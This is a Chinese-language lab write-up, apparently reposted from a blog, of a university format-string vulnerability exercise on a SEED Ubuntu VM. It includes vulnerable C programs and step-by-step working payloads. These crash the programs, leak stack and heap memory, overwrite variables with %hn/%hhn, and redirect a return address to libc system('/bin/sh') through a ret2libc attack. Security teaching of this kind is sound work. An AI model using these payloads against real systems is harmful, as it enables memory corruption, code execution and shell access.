0


[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

1.软件安全:格式化字符串漏洞实验

1.1 实验目的

  • 在缓冲区溢出漏洞利用基础上,理解如何进行格式化字符串漏洞利用。
  • C语言中的printf()函数用于根据格式打印出字符串,使用由printf()函数的%字符标记的占位符,在打印期间填充数据。格式化字符串的使用不仅限于printf()函数;其他函数,例如sprintf()、fprintf() 和scanf(),也使用格式字符串。 某些程序允许用户以格式字符串提供全部或部分内容
  • 本实验的目的是利用格式化字符串漏洞,实施以下攻击 1. 程序崩溃2. 读取程序内存3. 修改程序内存4. 恶意代码注入和执行。

1.2 实验环境

Ubuntu 16.04 LTS 32 位(SEED 1604)的 VMware 虚拟机

1.3 实验内容1 prog1

(1)改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0x66887799

(2) 改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0xdeadbeef

​ a) 后半部分数据小于前半部分数据;

​ b) 为避免print大量字符,可以将数据分成4个部分分别写入(使用 %hhn)

注意:以上任务,需要关闭 ASLR

#include<stdio.h>voidfmtstr(){char input[100];int var =0x11223344;/* print out information for experiment purpose */printf("Target address: %x\n",(unsigned)&var);printf("Data at target address: 0x%x\n", var);printf("Please enter a string: ");fgets(input,sizeof(input)-1,stdin);printf(input);printf("Data at target address: 0x%x\n",var);}voidmain(){fmtstr();}

1.3.1 环境配置

关闭ASLR

sudo sysctl -w kernel.randomize_va_space=0

开启栈可执行

gcc -z execstack -o prog1 prog1.c

1.3.2 程序崩溃

输入:

%s

解释:访问的字符串地址超出当前堆栈段时,非法访问导致崩溃。
在这里插入图片描述

1.3.3 读取程序内存

输入:

%08x | %08x | %08x | %08x | %08x | %08x

解释:由于只有format串,所以从堆栈中选择参数打印内容,进而泄露内存信息。
在这里插入图片描述

1.3.4 修改程序内存1

改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0x66887799;

输入:

$ echo -e "\xb7\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb6\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.42x%hhn%.17x%hhn%.17x%hhn%.17x%hhn"> input
$ ./prog1 < input

解释:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60

66h - 60 = 42

77h - 66h= 17

88h - 77h= 17

99h - 88h= 17

%hhn是以字节修改的方法,所以我们在前方地址字符串上先按数字大小排好该填的地址

比如填写的顺序是66 77 88 99,其对应的地址是\xb7 \xb5 \xb6 \xb4

之后依次计算字符长度即可。
在这里插入图片描述

1.3.5 修改程序内存2

改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0xdeadbeef;

输入:

$ echo -e "\xb6\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb7\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.113x%hhn%.17x%hhn%.32x%hhn%.17x%hhn"> input
$ ./prog1 < input

解释:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60

adh - 60 = 113

beh - adh = 17

deh - beh = 32

efh - deh = 17

同上理%hhn是以字节修改的方法,所以我们在前方地址字符串上先按数字大小拍好该填的地址即可

\xb6 \xb5 \xb7 \xb4

在这里插入图片描述

1.4 实验内容2 prog2

(1)开启 Stack Guard 保护,并开启栈不可执行保护,通过 ret2lib 进行利用,获得shell (可以通过调用 system(“/bin/sh”))

(2)尝试设置 setuid root,观察是否可以获得root shell

(3)提示:需要查找 ret2lic 中的 system 函数和“/bin/sh”地址:

#include<stdio.h>voidfmtstr(char* str){unsignedint*framep;unsignedint*ret;//copy ebp into framepasm("movl %%ebp, %0":"=r"(framep));
    ret = framep +1;/* print out information for experiment purpose */printf("The address of the input array: 0x%.8x\n",(unsigned)str);printf("The value of the frame pointer: 0x%.8x\n",(unsigned)framep);printf("The value of the return address(before): 0x%.8x\n",*ret);printf(str);printf("\nThe value of the return address(after): 0x%.8x\n",*ret);}intmain(){ 
    FILE *badfile;char str[200];

    badfile =fopen("badfile","rb");fread(str,sizeof(char),200, badfile);fmtstr(str);return1;}

1.4.1 环境配置

开启stack Guard但栈不可执行

$ gcc -fstack-protector -z noexecstack -o prog2 prog2.c

1.4.2 通过libc的基地址和内部函数的相对偏移获得ret2libc的函数地址

寻找system和bin/sh相对lib偏移

$ ldd prog2

在这里插入图片描述

libc lib的path: /lib/i386-linux-gnu/libc.so.6

基址:0xb7d8e000

$ readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"
$ ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --string /bin/sh

在这里插入图片描述

system()函数偏移:0x0003ada0

字符串"/bin/sh"偏移:0x0015b82b

计算在prog2中system和bin/sh地址

$ gdb prog2
gdb-peda$ start
gdb-peda$ vmmap

在这里插入图片描述

system()函数偏移:0x0003ada0 + 0xb7d6a000 = 0xb7da4da0

字符串"/bin/sh"偏移:0x0015b82b + 0xb7d6a000 = 0xb7ec582b

寻找ret和system参数位置

$ touch badfile
$ ./prog2

在这里插入图片描述

帧指针内value = ebp

故ret = ebp + 4h = 0xbfffec4c

而通过ret调用system()时是模拟已经将参数压栈后的结果,故参数位置是 ret + 4 + 4 = 0xbfffec54

构造shellcode

$ echo"AAAA|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|"> badfile
$ ./prog2

在这里插入图片描述

字符串首位在16个字后

$ echo -e "\x4c\xec\xff\xbf@@@@\x54\xec\xff\xbf@@@@\x4e\xec\xff\xbf@@@@\x56\xec\xff\xbf%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.19724x%hn%.2699x%hn%.24495x%hn%.18x%hn"> badfile
$ ./prog2

解释:4 * 4 + 4 * 3 + 15 * 8 = 16 + 12 + 120 = 148

4da0h - 148 = 19724

582bh - 4da0h = 2699

b7dah - 582bh = 24495

b7ech - b7dah = 18

\x??\xec\xff\xbf
4da0582bb7dab7ec\x4c\x54\x4e\x56
在这里插入图片描述

1.4.3 设置setuid root

$ sudo chmod u+s prog2

在这里插入图片描述

$ ./prog2

在这里插入图片描述

无法成功不能获得

1.5 实验内容3 prog3

(1) 打印栈上数据;

(2) 获得 heap 上的 secret 变量的值;

(3) 修改 target 变量成 0xc0ffee00

(4) 上述步骤在首先在关闭ASLR的情况下进行,进一步,可尝试开启 ASLR,观察程序内存地址的变化

format.c

#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<string.h>#include<sys/socket.h>#include<netinet/ip.h>/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 10 and 400  */#ifndefBUF_SIZE#defineBUF_SIZE10#endif#if__x86_64__unsignedlong target =0x1122334455667788;#elseunsignedint  target =0x11223344;#endifchar*secret ="A secret message\n";voiddummy_function(char*str);voidmyprintf(char*msg){#if__x86_64__unsignedlongint*framep;// Save the rbp value into framepasm("movq %%rbp, %0":"=r"(framep));printf("Frame Pointer (inside myprintf):      0x%.16lx\n",(unsignedlong) framep);printf("The target variable's value (before): 0x%.16lx\n", target);#elseunsignedint*framep;// Save the ebp value into framepasm("movl %%ebp, %0":"=r"(framep));printf("Frame Pointer (inside myprintf):      0x%.8x\n",(unsignedint) framep);printf("The target variable's value (before): 0x%.8x\n",   target);#endif// This line has a format-string vulnerabilityprintf(msg);#if__x86_64__printf("The target variable's value (after):  0x%.16lx\n", target);#elseprintf("The target variable's value (after):  0x%.8x\n",   target);#endif}intmain(int argc,char**argv){char buf[1500];#if__x86_64__printf("The input buffer's address:    0x%.16lx\n",(unsignedlong) buf);printf("The secret message's address:  0x%.16lx\n",(unsignedlong) secret);printf("The target variable's address: 0x%.16lx\n",(unsignedlong)&target);#elseprintf("The input buffer's address:    0x%.8x\n",(unsignedint)  buf);printf("The secret message's address:  0x%.8x\n",(unsignedint)  secret);printf("The target variable's address: 0x%.8x\n",(unsignedint)&target);#endifprintf("Waiting for user input ......\n");int length =fread(buf,sizeof(char),1500,stdin);printf("Received %d bytes.\n", length);dummy_function(buf);printf("(^_^)(^_^)  Returned properly (^_^)(^_^)\n");return1;}// This function is used to insert a stack frame between main and myprintf.// The size of the frame can be adjusted at the compilation time. // The function itself does not do anything.voiddummy_function(char*str){char dummy_buffer[BUF_SIZE];memset(dummy_buffer,0, BUF_SIZE);myprintf(str);}

server.c

#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<string.h>#include<time.h>#include<sys/socket.h>#include<netinet/ip.h>#include<arpa/inet.h>#include<signal.h>#include<sys/wait.h>#definePROGRAM"format"#definePORT9090intsocket_bind(int port);intserver_accept(int listen_fd,structsockaddr_in*client);char**generate_random_env();voidmain(){int listen_fd;structsockaddr_in  client;// Generate a random numbersrand(time(NULL));int random_n =rand()%2000;// handle signal from child processessignal(SIGCHLD, SIG_IGN);

    listen_fd =socket_bind(PORT);while(1){int socket_fd =server_accept(listen_fd,&client);if(socket_fd <0){perror("Accept failed");exit(EXIT_FAILURE);}int pid =fork();if(pid ==0){// Redirect STDIN to this connection, so it can take input from userdup2(socket_fd, STDIN_FILENO);/* Uncomment the following if we want to send the output back to user.
         * This is useful for remote attacks. 
            int output_fd = socket(AF_INET, SOCK_STREAM, 0);
            client.sin_port = htons(9091);
        if (!connect(output_fd, (struct sockaddr *)&client, sizeof(struct sockaddr_in))){
               // If the connection is made, redirect the STDOUT to this connection
               dup2(output_fd, STDOUT_FILENO);
        }
        */// Invoke the program fprintf(stderr,"Starting %s\n", PROGRAM);//execl(PROGRAM, PROGRAM, (char *)NULL);// Using the following to pass an empty environment variable array//execle(PROGRAM, PROGRAM, (char *)NULL, NULL);// Using the following to pass a randomly generated environment varraible array.// This is useful to slight randomize the stack's starting point.execle(PROGRAM, PROGRAM,(char*)NULL,generate_random_env(random_n));}else{close(socket_fd);}}close(listen_fd);}intsocket_bind(int port){int listen_fd;int opt =1;structsockaddr_in server;if((listen_fd =socket(AF_INET, SOCK_STREAM,0))==0){perror("socket failed");exit(EXIT_FAILURE);}if(setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR,&opt,sizeof(opt))){perror("setsockopt failed");exit(EXIT_FAILURE);}memset((char*)&server,0,sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr =htonl(INADDR_ANY);
    server.sin_port =htons(port);if(bind(listen_fd,(structsockaddr*)&server,sizeof(server))<0){perror("bind failed");exit(EXIT_FAILURE);}if(listen(listen_fd,3)<0){perror("listen failed");exit(EXIT_FAILURE);}return listen_fd;}intserver_accept(int listen_fd,structsockaddr_in*client){int c =sizeof(structsockaddr_in);int socket_fd =accept(listen_fd,(structsockaddr*)client,(socklen_t*)&c);char*ipAddr =inet_ntoa(client->sin_addr);printf("Got a connection from %s\n", ipAddr);return socket_fd;}// Generate environment variables. The length of the environment affects // the stack location. This is used to add some randomness to the lab.char**generate_random_env(int length){constchar*name ="randomstring=";char**env;

    env =malloc(2*sizeof(char*));

    env[0]=(char*)malloc((length +strlen(name))*sizeof(char));strcpy(env[0], name);memset(env[0]+strlen(name),'A', length -1);
    env[0][length +strlen(name)-1]=0;
    env[1]=0;return env;}

1.5.1 环境配置

关闭ASLR

sudo sysctl -w kernel.randomize_va_space=0

查看Makefile(已修改)

FLAGS    = -z execstack 
TARGET   = server format

L = 10

all: $(TARGET)

server: server.c
    gcc -o server server.c

format: format.c
    gcc -DBUF_SIZE=$(L) $(FLAGS) -o $@ format.c

clean:
    rm -f badfile $(TARGET)
$ make

1.5.2 打印栈上数据

$ echo"AAAA|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x"> badfile
$ cat badfile |nc127.0.0.1 9090

在这里插入图片描述

在这里插入图片描述

secret addr: 0x08048740

tartget addr: 0x0804a02c

1.5.3 获得 heap 上的 secret 变量的值

$ echo -e "\x40\x87\x04\x08|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%s"> badfile
$ cat badfile |nc127.0.0.1 9090

上题中41414141处在第40个字处开始,构造相应长度的badfile即可

在这里插入图片描述

1.5.4 修改 target 变量成 0xc0ffee00

$ echo -e "\x2e\xa0\x04\x08@@@@\x2c\xa0\x04\x08%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.49091x%hn%.11521x%hn"> badfile
$ cat badfile |nc127.0.0.1 9090

解释:4 * 2 + 4 + 8 * 38 = 316

c0ffh - 316 = 49091

ee00h - c0ffh = 11521

前文中实现方式一致

在这里插入图片描述

1.5.5 开启ASLR的情况

sudo sysctl -w kernel.randomize_va_space=1

获得同样的结果

在这里插入图片描述

标签: 安全

本文转载自: https://blog.csdn.net/Formy7/article/details/125005378
版权归原作者 HwWwWwK 所有, 如有侵权,请联系我们删除。

“[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验”的评论:

还没有评论